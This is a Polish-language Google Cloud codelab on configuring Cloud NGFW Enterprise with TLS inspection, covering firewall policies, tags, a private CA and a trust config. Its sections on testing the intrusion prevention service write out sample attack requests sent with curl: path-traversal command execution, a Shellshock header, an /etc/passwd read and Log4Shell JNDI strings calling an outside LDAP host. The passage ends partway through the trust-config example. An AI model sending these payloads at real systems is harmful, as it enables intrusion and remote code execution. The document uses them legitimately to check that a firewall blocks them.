Ćwiczenie z programowania w Cloud NGFW Enterprise Codelab [z inspekcją TLS]

1. Wprowadzenie

Zapora sieciowa Cloud Next Generation (NGFW)

Cloud Next Generation Firewall to w pełni rozproszona usługa zapory sieciowej z zaawansowanymi funkcjami ochrony, mikrosegmentacją i wszechstronnym zasięgiem, która chroni Twoje zbiory zadań Google Cloud przed atakami wewnętrznymi i zewnętrznymi.

Cloud NGFW ma te zalety:

  • Rozproszona usługa zapory sieciowej: Cloud NGFW zapewnia stanowy, w pełni rozproszony sposób egzekwowania zasad na hoście dla każdego zbioru zadań, zapewniając architekturę zabezpieczeń typu „zero zaufania”.
  • Uproszczona konfiguracja i wdrażanie: Cloud NGFW wdraża sieci i hierarchiczne zasady zapory sieciowej, które można dołączyć do węzła hierarchii zasobów. Te zasady zapewniają spójne środowisko zapory sieciowej w całej hierarchii zasobów Google Cloud.
  • Szczegółowa kontrola i mikrosegmentacja: połączenie zasad zapory sieciowej z tagami zarządzanymi przez Identity and Access Management (IAM) zapewnia precyzyjną kontrolę nad ruchem zarówno z północy, jak i wschód-zachód, aż do poziomu jednej maszyny wirtualnej w sieciach i organizacjach prywatnego środowiska wirtualnego w chmurze (VPC).

Usługa Cloud NGFW jest dostępna na tych poziomach:

  • Podstawy zapory sieciowej Cloud Next Generation
  • Cloud Next Generation Firewall na poziomie Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise dodaje do rozproszonej sieci szkieletowej Google Cloud Firewall usługa IPS (Intrusion Prevention Service, IPS), funkcję warstwy 7. Kontrola TLS jest obsługiwana, aby umożliwić kontrolę ruchu zaszyfrowanego przy użyciu TLS.

Teraz możesz wdrażać niezawodne inspekcje zapory sieciowej warstwy 7 nowej generacji ze szczegółową kontrolą bez wprowadzania zmian w architekturze sieci czy konfiguracjach routingu.

Aby aktywować i wdrożyć kontrolę zapory sieciowej w warstwie 7 za pomocą IPS, wykonaj te czynności:

  • Utwórz zbiór strefowych punktów końcowych zapory sieciowej Google Cloud.
  • Opcjonalnie utwórz zasadę inspekcji TLS.
  • Opcjonalnie utwórz konfigurację zaufania.
  • Powiąż te punkty końcowe z sieciami prywatnego środowiska wirtualnego w chmurze (VPC), w których potrzebujesz usługi Cloud NGFW Enterprise.
  • Wprowadź proste zmiany w istniejących zasadach zapory sieciowej i regułach zapory sieciowej, aby określić profile zapobiegania zagrożeniom na potrzeby różnych ścieżek ruchu.

Zasady zapory sieciowej

Zasada zapory sieciowej działa jako kontener dla reguł zapory sieciowej. Reguły zdefiniowane w zasadzie zapory sieciowej nie są nigdzie egzekwowane, dopóki zasada nie zostanie powiązana z siecią VPC. Z każdą siecią VPC może być powiązana 1 zasada zapory sieciowej. Zasady zapory sieciowej obsługują w regułach zapory sieciowej tagi zarządzane przez uprawnienia (lub tylko tagi). Zastępują one bieżące tagi sieciowe i mogą służyć do przyznawania tożsamości danym zadaniom.

Udostępnianie zasady zapory sieciowej między sieciami oraz integracja z tagami zarządzanymi uprawnieniami znacznie upraszcza konfigurację zapór sieciowych i zarządzanie nimi.

Dzięki wprowadzeniu zasad zapory sieciowej zasady zapory sieciowej Google Cloud składają się teraz z tych komponentów:

  1. Hierarchiczna zasada zapory sieciowej
  2. Reguły zapory sieciowej VPC
  3. Zasady zapory sieciowej ( globalne i regionalne)

Hierarchiczne zasady zapory sieciowej są obsługiwane na poziomie organizacji i węzłów folderów w hierarchii zasobów, natomiast reguły zapory sieciowej VPC i zasady zapory sieciowej są stosowane na poziomie VPC. Duże różnice między regułami zapory sieciowej VPC a zasadami zapory sieciowej VPC polegają na tym, że reguły zapory sieciowej VPC mogą być stosowane tylko do pojedynczej sieci VPC, natomiast zasady zapory sieciowej można dołączyć do pojedynczej sieci VPC lub grupy VPC i mają inne zalety, takie jak aktualizacje zbiorcze.

Mamy też domniemane reguły zapory sieciowej, które występują w każdej sieci VPC:

  • Reguła ruchu wychodzącego, której działanie jest dozwolone, miejsce docelowe to 0.0.0.0/0
  • Reguła dla ruchu przychodzącego, której działaniem jest odrzucenie, źródło to 0.0.0.0/0

Domyślnie sekwencja egzekwowania zasad jest przedstawiona na tym diagramie:

21b3bcabc469ffe.png

Pamiętaj, że kolejność egzekwowania zasad zapory sieciowej VPC a zasadą zapory sieciowej sieci globalnej można zamienić. Klienci mogą w każdej chwili określić nakaz egzekwowania zasad za pomocą polecenia gcloud.

Tagi

Nowe tagi zintegrowane z regułami zasad zapory sieciowej to zasoby pary klucz-wartość zdefiniowane na poziomie organizacji lub na poziomie projektu w hierarchii zasobów Google Cloud. Taki tag zawiera kontrolę dostępu, która określa, kto może robić z nim jakieś działania. Uprawnienia na przykład Idenity and Access Management (Uprawnienia) umożliwiają określenie, które podmioty zabezpieczeń mogą przypisywać wartości do tagów i które podmioty zabezpieczeń mogą dołączać tagi do zasobów. Jeśli reguła zapory sieciowej odwołuje się do tagu, musi zostać zastosowana do zasobu, aby można było egzekwować.

Tagi są zgodne z modelem zasobów dziedziczenia Google Cloud, co oznacza, że tagi i ich wartości są przekazywane w hierarchii z elementów nadrzędnych. W efekcie tagi można tworzyć w jednym miejscu, a potem używać ich w innych folderach i projektach w całej hierarchii zasobów. Szczegółowe informacje na temat tagów i ograniczeń dostępu znajdziesz na tej stronie.

Tagów nie należy mylić z tagami sieci. Te ostatnie można dodawać do instancji Compute Engine. są powiązane z instancją i znikają po wyłączeniu instancji. Reguły zapory sieciowej VPC mogą obejmować tagi sieciowe, ale nie są one uważane za zasoby w chmurze, więc nie podlegają kontroli dostępu uprawnień.

Pamiętaj, że w tym dokumencie tagi i tagi zarządzane przez uprawnienia są używane wymiennie.

Co utworzysz

To ćwiczenie w Codelabs wymaga 1 projektu i możliwości utworzenia sieci VPC, a także zarządzania wieloma zasobami sieci i zabezpieczeń. Zademonstruje on, jak Cloud NGFW Enterprise może zapewnić funkcje IPS przez:

  • Kontrola przepływów w internecie w kierunku północnym przy użyciu inspekcji TLS
  • Badanie przepływów wewnątrz VPC [wschód-zachód] z inspekcją TLS

Przepływy do sprawdzenia zostaną wybrane przy użyciu parametrów dopasowania Cloud Firewall, w tym 5-krotek (źródłowy adres IP, docelowy adres IP, protokół, port źródłowy, port docelowy) i tagów.

3d0f288d3b92a295.png

Stan końcowy bazy reguł zasady zapory sieciowej jest podobny do tej w tabeli poniżej:

Priorytet

Kierunek

Target

Źródło

Cel

Działanie

Typ

100

Ruch przychodzący

Server_Tag

Kontrole stanu

Dowolny

Zezwól

Essentials

200

Ruch przychodzący

Tag_klienta, tag_serwera

IAP

Dowolny

Zezwól

Essentials

800

Ruch przychodzący

Server_Tag

10.0.0.0/24

10.0.0.0/24

Inspekcja L7

Firma

850

Ruch wychodzący

Client_Tag

Dowolny

10.0.0.0/24

Zezwól

Essentials

900

Ruch wychodzący

Client_Tag

Dowolny

Dowolny

Inspekcja L7

Firma

Czego się nauczysz

  • Jak utworzyć zasadę zapory sieciowej.
  • Jak tworzyć tagi i używać ich z zasadami zapory sieciowej.
  • Jak skonfigurować i używać Cloud NGFW Enterprise z kontrolą TLS.

Czego potrzebujesz

  • Projekt Google Cloud.
  • Znajomość wdrażania instancji i konfigurowania komponentów sieci.
  • Znajomość konfiguracji zapory sieciowej VPC.

2. Zanim zaczniesz

Tworzenie i aktualizowanie zmiennych

W tym ćwiczeniu w Codelabs używane są zmienne $variables, które ułatwiają implementację konfiguracji gcloud w Cloud Shell.

W Cloud Shell uruchom podane niżej polecenia, zastępując w nawiasach odpowiednie informacje:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Włącz interfejsy API

Włącz interfejsy API, jeśli nie zostało to jeszcze zrobione:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Tworzenie punktu końcowego Cloud NGFW

Ponieważ tworzenie punktu końcowego Cloud NGFW Enterprise zajmuje około 20 minut, zostanie on utworzony najpierw, a konfigurację podstawową można przeprowadzić równolegle podczas jego tworzenia.

Utwórz profil zabezpieczeń i grupę profili zabezpieczeń:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Oczekiwane dane wyjściowe:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

Sprawdź, czy zasoby zostały utworzone:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Oczekiwane dane wyjściowe (format wyjściowy może się różnić w zależności od używanego klienta:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Utwórz punkt końcowy Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing

Uruchom poniższe polecenie, aby sprawdzić, czy punkt końcowy jest tworzony (TWORZENIE).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwane dane wyjściowe (format wyjściowy może się różnić w zależności od używanego klienta):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Opcjonalnie uruchom poniższe polecenie, aby uzyskać więcej informacji:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Oczekiwane dane wyjściowe:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Proces tworzenia trwa około 20 minut. Przejdź do sekcji konfiguracji podstawowej, aby utworzyć wymagane zasoby równolegle.

5. Konfiguracja podstawowa

Sieć i podsieć VPC

Sieć i podsieć VPC

Utwórz sieć i podsieć VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Utwórz router Cloud Router i bramę Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instancje

Utwórz instancje klienta i serwera WWW:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tagi na poziomie projektu

W razie przypisz użytkownikowi uprawnienia administratora tagów:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Utwórz klucz i wartości tagu na poziomie projektu:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Powiąż tagi z instancjami:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Zasada zapory sieciowej sieci globalnej

Utwórz zasadę zapory sieciowej sieci globalnej:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Utwórz wymagane reguły Cloud Firewall Essentials, aby zezwolić na ruch z zakresów kontroli stanu i serwerów proxy identyfikujących tożsamość:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Utwórz wymagane reguły zapory sieciowej Cloud, aby zezwolić na ruch przychodzący w kierunku wschód-zachód / wewnątrz podsieci z określonych zakresów (te reguły zostaną zaktualizowane, aby włączyć Cloud NGFW Enterprise z inspekcją TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Powiąż zasadę zapory sieciowej dotyczącą chmury z siecią VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Powiązanie punktu końcowego Cloud Firewall

Zdefiniuj zmienne środowiskowe, jeśli jeszcze nie masz tego za sobą lub wolisz użyć skryptu.

Sprawdź, czy punkt końcowy Cloud Firewall został utworzony. Przejdź dalej tylko wtedy, gdy stan zmieni się na AKTYWNE (oczekiwany stan podczas tworzenia to TWORZENIE):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwane dane wyjściowe (format wyjściowy może się różnić w zależności od używanego klienta):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Opcjonalnie uruchom poniższe polecenie, aby uzyskać więcej informacji:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Oczekiwane dane wyjściowe:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Powiąż punkt końcowy Cloud Firewall z siecią VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Proces powiązania trwa około 10 minut. Przejdź do sekcji TLS dopiero wtedy, gdy stan zmieni się na AKTYWNE (oczekiwany stan to TWORZENIE):

gcloud network-security firewall-endpoint-associations list

Oczekiwane dane wyjściowe po zakończeniu:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Opcjonalnie uruchom poniższe polecenie, aby uzyskać więcej informacji:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Oczekiwane dane wyjściowe:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Konfigurowanie zasobów TLS

Utwórz pulę urzędów certyfikacji. Ten zasób będzie używany do przechowywania certyfikatu głównego urzędu certyfikacji, który wygenerujemy dla NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Utwórz główny urząd certyfikacji. To jest certyfikat CA, który będzie używany do podpisywania dodatkowych certyfikatów w przypadku żądań wysyłanych przez NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Jeśli pojawi się komunikat poniżej, odpowiedz Y:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Utwórz konto usługi. To konto usługi będzie używane do wysyłania próśb o certyfikaty dla NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Ustaw uprawnienia dla konta usługi:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Utwórz plik YAML zasady TLS. Ten plik zawiera informacje o konkretnych zasobach:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Zaimportuj zasadę inspekcji TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Zaktualizuj powiązanie punktu końcowego, aby włączyć TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Pobierz certyfikat CA i dodaj go do magazynu urzędów certyfikacji klienta:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Przenieś certyfikat CA do klienta:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Połącz się z maszyną wirtualną przez SSH, przenieś certyfikat CA do katalogu /usr/local/share/ca-certificates i zaktualizuj magazyn urzędów certyfikacji:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Wróć do Cloud Shell.

Proces podpisywania certyfikatu serwera:

W Cloud Shell zainstaluj bibliotekę kryptografii Pyca za pomocą polecenia pip:

pip install --user "cryptography>=2.2.0"

Aby pakiet SDK Google Cloud mógł korzystać z biblioteki kryptograficznej Pyca, musisz włączyć pakiety witryn.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Utwórz certyfikat serwera:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

Spowoduje to wygenerowanie plików cert.pem i key.pem w Cloud Shell. Następnie przenieś certyfikat i klucz na serwer.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Połącz się z serwerem przez SSH, aby zaktualizować szczegóły certyfikatu Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Przenieś certyfikat i klucz do określonego folderu:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Zaktualizuj konfigurację SSL, aby używać podpisanego certyfikatu:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Uruchom ponownie Apache:

sudo systemctl restart apache2

Sprawdź stan serwera Apache:

sudo systemctl status apache2

Powinien być aktywny (uruchomiony).

Zamknij maszynę wirtualną i kontynuuj w Cloud Shell.

8. Sprawdzanie połączeń w kierunku północnym oraz łączności E/W

Uruchom poniższe polecenia w Cloud Shell i zanotuj docelowe adresy IP, których chcesz użyć:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Otwórz nową kartę i zainicjuj połączenie SSH z kliencką maszyną wirtualną za pomocą IAP (musisz zdefiniować zmienne na nowej karcie):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Uruchom poniższe polecenia i zanotuj docelowe adresy IP, których chcesz użyć. Utwórz zmienne, zastępujące wartości w nawiasach adresami IP z poprzedniego kroku, i upewnij się, że są one osiągalne:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Zwiń prywatny adres IP i upewnij się, że jest osiągalny:

curl https://$target_privateip --max-time 2

Oczekiwane wyniki żądania curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Wysyłaj przykładowe ataki na adres IP. Serwer WWW powinien odpowiadać na wszystkie żądania, potwierdzając, że nie ma realizowanej kontroli/zapobiegania L7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

Przykładowe oczekiwane wyniki (prywatny adres IP):

400
404
400
200
200

Podobnie wysyłaj żądania do internetowego miejsca docelowego:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

Przykładowe oczekiwane wyniki (miejsce docelowe w internecie):

400
404
400
403
403

Zamknij terminal maszyny wirtualnej i wróć do Cloud Shell.

9. Tworzenie i aktualizowanie reguł zapory sieciowej na potrzeby inspekcji TLS

Wcześniej konfigurowaliśmy regułę zapory sieciowej zezwalającą na ruch przychodzący do naszego serwera z podsieci wewnętrznej. Zaktualizujemy teraz istniejące reguły ruchu przychodzącego i ustawimy działanie na apply_security_profile_group. Spowoduje to włączenie inspekcji E/W L7 z użyciem protokołu TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Utwórz nową regułę, aby sprawdzić kontrolę L7 w kierunku północnym przy użyciu TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Utwórz nową regułę, która umożliwi wyciąganie e-maili dla sieci E/W i w ten sposób zapobiega podwójnej kontroli.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. Weryfikuję inspekcję TLS w kierunku północnym

Wróć na kartę maszyny wirtualnej klienta lub połącz się ponownie:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Wyślij przykładowe ataki do miejsca docelowego w internecie:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Nie otrzymujesz żadnych odpowiedzi zgodnie z oczekiwaniami poniżej, co potwierdza, że przykładowe ataki są teraz blokowane:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Ustaw zmienną na adres IP serwera z poprzedniego:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Wyślij przykładowe żądania TLS do serwera:

curl https://$target_privateip --max-time 2

Oczekiwane dane wyjściowe:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Dlaczego ta prośba nie została zrealizowana? Dzieje się tak, ponieważ zapora sieciowa otrzymuje certyfikat z serwera, dla którego nie ma zaufania. W takim przypadku klient prześle certyfikat podpisany samodzielnie. Aby włączyć zaufanie, musimy dodać certyfikat CA w ramach konfiguracji zaufania.

Wróć do Cloud Shell.

11. Skonfiguruj konfigurację zaufania

Pobierz certyfikat głównego urzędu certyfikacji i ustaw go jako zmienną z odpowiednim formatowaniem.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Skonfiguruj plik YAML konfiguracji zaufania. Ten plik zawiera szczegóły zaufania, takie jak certyfikaty CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Powyższe polecenia obejmowały Twój certyfikat głównego urzędu certyfikacji jako część magazynu zaufania, ponieważ certyfikat serwera został podpisany przy użyciu głównego urzędu certyfikacji. Oznacza to, że zapora sieciowa będzie ufać wszystkim otrzymywanym certyfikatom, które zostały podpisane przez główny urząd certyfikacji, a także publicznych urzędów certyfikacji, jeśli zasada TLS ma wartość false (fałsz).

Sprawdź zawartość konfiguracji zaufania.

cat trust_config.yaml 

Przykładowe dane wyjściowe:

Zwróć szczególną uwagę na dopasowanie wcięć w certyfikacie. Musi mieć dokładnie ten format.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
